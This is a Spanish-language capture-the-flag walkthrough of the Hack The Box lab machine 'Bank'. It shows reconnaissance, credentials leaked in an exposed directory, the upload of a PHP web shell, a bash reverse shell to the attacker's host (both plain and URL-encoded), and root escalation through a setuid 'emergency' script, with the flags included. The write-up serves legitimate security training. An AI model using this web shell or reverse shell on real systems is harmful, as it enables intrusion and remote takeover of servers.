Bank [EASY🟢]

Dificultad: Fácil

1- Reconocimiento y escaneo

1.1 Ping

PING 10.10.10.29 (10.10.10.29) 56(84) bytes of data.
64 bytes from 10.10.10.29: icmp_seq=1 ttl=63 time=170 ms

--- 10.10.10.29 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 169.631/169.631/169.631/0.000 ms

Podemos notar que se trata de una maquina Linux, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

1.2 Nmap

❯ nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv 10.10.10.29 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-23 00:27 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 00:27
Completed Parallel DNS resolution of 1 host. at 00:27, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 00:27
Scanning 10.10.10.29 [65535 ports]
Discovered open port 53/tcp on 10.10.10.29
Discovered open port 22/tcp on 10.10.10.29
Discovered open port 80/tcp on 10.10.10.29
Completed SYN Stealth Scan at 00:27, 14.91s elapsed (65535 total ports)
Initiating Service scan at 00:27
Scanning 3 services on 10.10.10.29
Completed Service scan at 00:27, 6.39s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.29.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 8.79s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.70s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.01s elapsed
Nmap scan report for 10.10.10.29
Host is up, received user-set (0.18s latency).
Scanned at 2025-02-23 00:27:01 -03 for 31s
Not shown: 65531 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAMJ+YATka9wvs0FTz8iNWs6uCiLqSFhmBYoYAorFpozVGkCkU1aEJ7biybFTw/qzS9pbSsaYA+3LyUyvh3BSPGEt1BgGW/H29MuXjkznwVz60JqL4GqaJzYSL3smYYdr3KdJQI/QSvf34WU3pife6LRmJaVk+ETh3wPclyecNtedAAAAFQC1Zb2O2LzvAWf20FdsK8HRPlrx1wAAAIBIBAhLmVd3Tz+o+6Oz39g4Um1le8d3DETINWk3myRvPw8hcnRwAFe1+14h3RX4fr+LKXoR/tYrI138PJyiyl+YtQWhZnJ7j8lqnKRU2YibtnUc44kP9FhUqeAcBNjj4qwG9GyQSWm/Q5CbOokgaa6WfdcnwsUMim0h2Ad8YdU1kAAAAIBy3dOOD8jKHeBdE/oXGG0X9tKSFZv1gPr/kZ7NfqUF0kHU3oZTNK8/2qR0SNHgrZ2cLgKTIuneGS8lauXjC66NNMoUkJcMHpwRkYC0A86LDmhES6OuPsQwAjr1AtUZn97QjYu1d6WPfhTdsRYBuCotgKh2SBkzV1Bcz77Tnp56JA==
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc0rofjHtpSlqkDjjnkEiYcbUrMH0Q4a6PcxqsR3updDGBWu/RK7AGWRSjPn13uil/nl44XF/fkULy7FoXXskByLCHP8FS2gYJApQMvI9n81ERojEA0NIi6VZKP19bl1VFTk7Q5rEPIpab2xqYMBayb1ch7iP95n3iayvHEt/7cSTsddGWKeALi+rrujpnryNViiOIWpqDv+RWtbc2Wuc/FTeGSOt1LBTbtKcLwEehBG+Ym8o8iKTd+zfVudu7v1g3W2Aa3zLuTcePRKLUK3Q2D7k+5aJnWrekpiARQm3NmMkv1NuDLeW3amVBCv6DRJPBqEgSeGMGsnqkR8CKHO9/
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDH30xnPq1XEub/UFQ2KoHXh9LFKMNMkt60xYF3OrEp1Y5XQd0QyeLXwm6tIqWtb0rWda/ivDgmiB4GzCIMf/HQ=
|   256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA8MYjFyo+4OwYGTzeuyNd998y6cOx56mIuciim1cvKh
53/tcp open  domain  syn-ack ttl 63 ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.08 seconds
           Raw packets sent: 72878 (3.207MB) | Rcvd: 72496 (2.900MB)

Vemos que esta corriendo el puerto 22 correspondiente a un servidor SSH, el puerto 53 correspondiente a un servidor de nombres de dominio(DNS) y el puerto 80 correspondiente a un servidor web

Puerto 22 --> OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Puerto 53 --> ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
Puerto 80 --> Apache httpd 2.4.7 ((Ubuntu))

Vemos tambien que el sistema operativo Linux que se encuentra corriendo en la maquina objetivo es un Ubuntu

1.3 whatweb

Para realizar el escaneo de tecnologías web, vamos a modificar el archivo hosts de la ruta "/etc/hosts" para que apunte al dominio "http://bank.htb/":

❯ sudo vim /etc/hosts
[sudo] password for t0mz: 

Editamos y quedaría asi:

IP 10.10.10.29 <--> bank.htb

De tal manera que cuando entramos al navegador no nos va a salir la pagina por default de Apache ya que se efectúa correctamente la resolución de DNS, nos saldrá un login:

Ahora, vamos a realizar el escaneo de tecnologías web con "whatweb":

http://bank.htb/login.php [200 OK] Apache[2.4.7], Bootstrap, Cookies[HTBBankAuth], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[10.10.10
        .29], JQuery, PHP[5.5.9-1ubuntu4.21], PasswordField[inputPassword], Script, Title[HTB Bank - Login], X-Powered-By[PHP/5.5.9-1ubuntu4.21]

Vemos tecnologías web como:

Apache 2.4.7
Bosstrap
JQuery
PHP[5.5.9-1ubuntu4.21]

1.4 Fuzzing

En este caso el Fuzzing lo vamos a realizar con la herramienta "wfuzz" con el siguiente comando:

wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bank.htb/FUZZ

Ejecutamos:

❯ wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bank.htb/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bank.htb/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                              
=====================================================================

000000012:   302        188 L    319 W      7322 Ch     "# on atleast 2 different hosts"                                                                                     
000000006:   302        188 L    319 W      7322 Ch     "# Attribution-Share Alike 3.0 License. To view a copy of this"                                                      
000000008:   302        188 L    319 W      7322 Ch     "# or send a letter to Creative Commons, 171 Second Street,"                                                         
000000004:   302        188 L    319 W      7322 Ch     "#"                                                                                                                  
000000011:   302        188 L    319 W      7322 Ch     "# Priority ordered case sensative list, where entries were found"                                                   
000000010:   302        188 L    319 W      7322 Ch     "#"                                                                                                                  
000000002:   302        188 L    319 W      7322 Ch     "#"                                                                                                                  
000000009:   302        188 L    319 W      7322 Ch     "# Suite 300, San Francisco, California, 94105, USA."                                                                
000000005:   302        188 L    319 W      7322 Ch     "# This work is licensed under the Creative Commons"                                                                 
000000001:   302        188 L    319 W      7322 Ch     "# directory-list-2.3-medium.txt"                                                                                    
000000003:   302        188 L    319 W      7322 Ch     "# Copyright 2007 James Fisher"                                                                                      
000000007:   302        188 L    319 W      7322 Ch     "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                                                    
000000291:   301        9 L      28 W       304 Ch      "assets"                                                                                                             
000000014:   302        188 L    319 W      7322 Ch     "http://bank.htb/"                                                                                                   
000000013:   302        188 L    319 W      7322 Ch     "#"                                                                                                                  
000000164:   301        9 L      28 W       305 Ch      "uploads"                                                                                                            
000002190:   301        9 L      28 W       301 Ch      "inc"                                                                                                                
000045240:   302        188 L    319 W      7322 Ch     "http://bank.htb/"                                                                                                   
000095524:   403        10 L     30 W       288 Ch      "server-status"                                                                                                      
000192709:   301        9 L      28 W       314 Ch      "balance-transfer"                                                                                                   

Total time: 0
Processed Requests: 220560
Filtered Requests: 220540
Requests/sec.: 0

Vemos un directorio en concreto interesante que se llama "uploads" donde se almacena la subida de archivos, por lo que podría llegar a ser que la intrusión venga por ese lado

2- Explotación

2.1 Intrusión por hash no cifrado dentro de los directorios

Si revisamos directorio por directorio de los resultados de Fuzzing realizado con wfuzz, vamos a notar que en un directorio llamado "balance-transfer" que contiene aparentemente hashes cifrados:

Vamos a verificar que todos los hashes estén cifrados mediante el peso de los archivos utilizando expresiones regulares con la herramienta "curl", utilizamos el siguiente comando:

curl http://bank.htb/balance-transfer/ | awk '{print $6 " ---> " $10}' | tr -d '"' | grep "align=right>2"

Ejecutamos y nos daria como resultado un hash en texto plano de una cuenta de la aplicación web:

❯ curl http://bank.htb/balance-transfer/ | awk '{print $6 " ---> " $10}' | tr -d '"' | grep "align=right>2"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  104k    0  104k    0     0  68703      0 --:--:--  0:00:01 --:--:-- 68696href=68576f20e9732f1b2edc4df5b8533230.acc>68576f20e9732f1b2edc4df5b8533230.acc</a></td><td ---> align=right>257
100  247k    0  247k    0     0  91849      0 --:--:--  0:00:02 --:--:-- 91848

El nombre del archivo es:

68576f20e9732f1b2edc4df5b8533230.acc

Si lo buscamos dentro de nuestro navegador Firefox con CTRL + F, veremos que aquí esta:

Vamos a darle click derecho al archivo y darle a "Copy link" para bajárnoslo con curl con el siguiente comando:

curl http://bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc

Ejectuamos:

❯ curl http://bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===

Tenemos las credenciales de Chris, las credenciales serian las siguientes:

Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##

Vamos a iniciar sesión dentro del panel de login de la aplicación web:

Iniciamos sesión:

2.2 Explotación por mala entrada de archivos a la hora de subirlos

Vamos a irnos dentro del apartado de "Support" una vez estando dentro de la cuenta de Chris:

Se puede ver que tenemos un sistema de tickets en caso de fallo de la aplicación web, esto esta referido a la carpeta de "Uploads" realizado en el fuzzing, por que nos deja subir archivos, por lo que podríamos pensar que se podría subir un archivo malicioso dentro del servidor web para obtener una shell reversa, si recordamos en el escaneo de tecnologías web con whatweb, esta pagina web utiliza PHP, por lo que el código malicioso lo vamos a realizar en PHP, en mi caso voy a utilizar este código clásico:

<?php
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Pero antes vamos a revisar el código de la pagina de soporte:

<!DOCTYPE html>
<html>
  <head>
    <title>HTB Bank - Support</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Bootstrap -->
    <link href="./assets/css/bootstrap.min.css" rel="stylesheet">
    <!-- styles -->
    <link href="./assets/css/theme/styles.css" rel="stylesheet">
    <!-- SweetAlert -->
    <link rel="stylesheet" type="text/css" href="./assets/css/sweetalert.css">
  </head>
  <body>
  	<div class="header">
	     <div class="container">
	        <div class="row">
	           <div class="col-md-5">
	              <!-- Logo -->
	              <div class="logo">
	                 <h1><a href="index.html">HTB Bank</a></h1>
	              </div>
	           </div>
	           <div class="col-md-7">
	              <div class="navbar navbar-inverse" role="banner">
	                  <nav class="collapse navbar-collapse bs-navbar-collapse navbar-right" role="navigation">
	                    <ul class="nav navbar-nav">
	                      <li class="dropdown">
	                        <a href="#" class="dropdown-toggle" data-toggle="dropdown"> Christos Christopoulos <b class="caret"></b></a>
	                        <ul class="dropdown-menu animated fadeInUp">
	                          <li><a href="logout.php">Logout</a></li>
	                        </ul>
	                      </li>
	                    </ul>
	                  </nav>
	              </div>
	           </div>
	        </div>
	     </div>
	</div>

    <div class="page-content">
    	<div class="row">
		  <div class="col-md-2">
		  	<div class="sidebar content-box" style="display: block;">
                <ul class="nav">
                    <!-- Main menu -->
                    <li  ><a href="index.php"><i class="fa fa-dashboard fa-fw"></i> Dashboard</a></li>
                    <li class="current" ><a href="support.php"><i class="fa fa-support fa-fw"></i> Support</a></li>
                </ul>
             </div>
		  </div>

<div class="col-sm-5">
    <div class="panel panel-primary">
        <div class="panel-heading">
            <h3 style="font-size: 20px;">My Tickets</h3>
        </div>
        <div class="panel-body">
		    <div class="content-box-large">
		        <div class="panel-body">
		            <table class="table table-bordered">
		                <thead>
		                    <tr>
		                        <th>#</th>
		                        <th>Title</th>
		                        <th>Message</th>
		                        <th>Attachment</th>
                                        <th>Actions</th>
		                    </tr>
		                </thead>
		                <tbody>
		                    		                </tbody>
		            </table>
		        </div>
		    </div>
		</div>
    </div>
</div>
<!-- New Ticket -->
<div class="col-sm-5">
    <section class="panel">

        <div class="panel-body">
            <form class="new_ticket" id="new_ticket" accept-charset="UTF-8" method="post" enctype="multipart/form-data">

                <label>Title</label>
                <input required placeholder="Title" class="form-control" type="text" name="title" id="ticket_title" style="background-repeat: repeat; background-image: none; background-position: 0% 0%;">
                <br>

                <label>Message</label>
                <textarea required placeholder="Tell us your problem" class="form-control" style="height: 170px; background-repeat: repeat; background-image: none; background-position: 0% 0%;" name="message" id="ticket_message"></textarea>
                <br>
                <div style="position:relative;">
                		<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
				        <a class='btn btn-primary' href='javascript:;'>
				            Choose File...
				            <input type="file" required style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="fileToUpload" size="40"  onchange='$("#upload-file-info").html($(this).val().replace("C:\\fakepath\\", ""));'>
				        </a>
				        &nbsp;
				        <span class='label label-info' id="upload-file-info"></span>
				</div>
				<br>
                <button name="submitadd" type="submit" class="btn btn-primary mt20" data-disable-with="<div class=&quot;loading-o&quot; style=&quot;padding: 7px 21px;&quot;></div>">Submit</button>
            </form>

        </div>

    </section>

</div>

        </div>
        <!-- /#page-wrapper -->

    </div>
    <!-- /#wrapper -->

    <!-- jQuery -->
    <script src="./assets/js/jquery.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="./assets/js/bootstrap.min.js"></script>

    <!-- Morris Charts JavaScript -->
    <script src="./assets/js/plugins/morris/raphael.min.js"></script>
    <script src="./assets/js/plugins/morris/morris.min.js"></script>
    <script src="./assets/js/plugins/morris/morris-data.js"></script>

    <!-- SweetAlert -->
    <script src="./assets/js/sweetalert.min.js"></script>

</body>

</html>

Vemos que el desarrollador dejo comentarios dentro del codigo, entre ellos, uno interesante:

<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
				        <a class='btn btn-primary' href='javascript:;'>
				            Choose File...
				            <input type="file" required style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="fileToUpload" size="40"  onchange='$("#upload-file-info").html($(this).val().replace("C:\\fakepath\\", ""));'>
				        </a>

Supuestamente, la extensión .HTB se ejecuta como .PHP por propósitos de Debugging, nosotros podemos aprovecharnos de esto para subir un archivo .HTB y que la pagina lo tome como .PHP

Vamos a crearlo y a guardarlo:

❯ vim cmd.htb
❯ cat cmd.htb
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: cmd.php
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ <?php
   2   │     echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
   3   │ ?>
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Vamos a subirlo a Soporte:

Y vamos a enviarlo:

Recargamos la pagina y nos dejara visualizar el ticket, con el archivo malicioso adjunto:

Vamos a Attachment y a darle en "Click Here":

Nos mostrara una pagina en blanco, pero si dentro de la URL le cambiamos los parámetros para ejecutar comandos de la siguiente manera:

http://bank.htb/uploads/cmd.htb?cmd=whoami

Vamos a ver que sucede:

2.3 Obtención de shell reversa con el archivo malicioso PHP subido

Ya tendremos acceso a la maquina objetivo, ahora vamos a obtener una shell reversa mediante este archivo malicioso, con el siguiente comando:

bash -c 'bash -i >& /dev/tcp/{IP}/443 0>&1'

En mi caso el comando quedaria asi:

bash -c 'bash -i >& /dev/tcp/10.10.14.12/443 0>&1'

Pero antes de inyectarlo en la URL como valor del parámetro "?cmd=", debemos encodearlo como URL, en mi caso utilze BurpSuite, vamos a abrir BurpSuite

Nos vamos a ir a la pestaña de "Decoder":

Y vamos a seleccionar "Encode as ..." y seleccionaremos URL:

En el primer campo pondremos el comando:

De tal manera que el comando que deberíamos inyectarlo dentro del parámetro, quedaría encodeado de la siguiente manera:

%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%31%32%2f%34%34%33%20%30%3e%26%31%27

Y la URL nos quedaría de la siguiente manera:

http://bank.htb/uploads/cmd.htb?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%31%32%2f%34%34%33%20%30%3e%26%31%27

Ahora vamos a ponernos en escucha en nuestro Kali con netcat por el puerto 443:

❯ nc -nlvp 443
listening on [any] 443 ...

Y vamos a utilizar el enlace donde encodeamos el comando para obtener la shell reversa:

Se nos va a quedar cargando, pero si volvemos a la consola donde teníamos netcat en escucha por el puerto 443:

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.29] 52354
bash: cannot set terminal process group (1072): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bank:/var/www/bank/uploads$ 

Ya tendríamos acceso al servidor con privilegios de usuario

2.4 Obtención de la flag de usuario

La flag de usuario se encuentra dentro de la ruta "/home/chris/user.txt", ejecutemos un cat:

www-data@bank:/$ cat /home/chris/user.txt
cat /home/chris/user.txt
1dd272b219d4c77957f7cae42908642f
www-data@bank:/$ 

3- Escalado de privilegios

Si nos vamos a la carpeta raíz "/" y listamos los directorios:

www-data@bank:/$ cd /
cd /
www-data@bank:/$ ls
ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
www-data@bank:/$ 

Vamos a ir al directorio "var" y listamos los directorios:

www-data@bank:/$ cd var
cd var
www-data@bank:/var$ ls
ls
backups
cache
crash
htb
lib
local
lock
log
mail
opt
run
spool
tmp
www
www-data@bank:/var$ 

Vemos que hay un directorio que no corresponde con los directorios tradicionales de un sistema operativo Linux, concretamente la carpeta "htb", vamos a ir dentro de la carpeta y listar los directorios:

www-data@bank:/var$cd htb
cd htb
www-data@bank:/var/htb$ ls
ls
bin
emergency
www-data@bank:/var/htb$ 

Vamos a listar los directorios mas detalladamente para saber cual es un directorio y cual es un archivo:

www-data@bank:/var/htb$ ls -l 
ls -l
total 8
drwxr-xr-x 2 root root 4096 Jun 14  2017 bin
-rwxr-xr-x 1 root root  356 Jun 14  2017 emergency
www-data@bank:/var/htb$ 

Vemos que "emergency" es un archivo, si le hacemos un cat para visualizar lo que contiene dentro:

www-data@bank:/var/htb$ cat emergency
cat emergency
#!/usr/bin/python
import os, sys

def close():
	print "Bye"
	sys.exit()

def getroot():
	try:
		print "Popping up root shell..";
		os.system("/var/htb/bin/emergency")
		close()
	except:
		sys.exit()

q1 = raw_input("[!] Do you want to get a root shell? (THIS SCRIPT IS FOR EMERGENCY ONLY) [y/n]: ");

if q1 == "y" or q1 == "yes":
	getroot()
else:
	close()
www-data@bank:/var/htb$ 

Parece que tenemos un código que esta hecho en Python que nos eleva los privilegios automáticamente :)

Vamos a ejecutarlo:

www-data@bank:/var/htb$ python emergency    
python emergency

Se nos va a quedar así, pero si revisamos el código, tenemos que indicarle si queremos una shell como root, indicándole si SI o NO, le vamos a dar que si con la letra "Y":

www-data@bank:/var/htb$ python emergency    
python emergency
y

Y si ejecutamos el comando "whoami":

www-data@bank:/var/htb$ python emergency    
python emergency
y
whoami
root

3.1 Obtención de la flag root

La flag de root se encuentra dentro de la siguiente ruta "/root/root.txt", vamos a hacerle un cat para visualizar la flag:

cat /root/root.txt
29a0690146d9b41a992761d7fe51fe4b

Con esto, concluimos la maquina "Bank" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales

Última actualización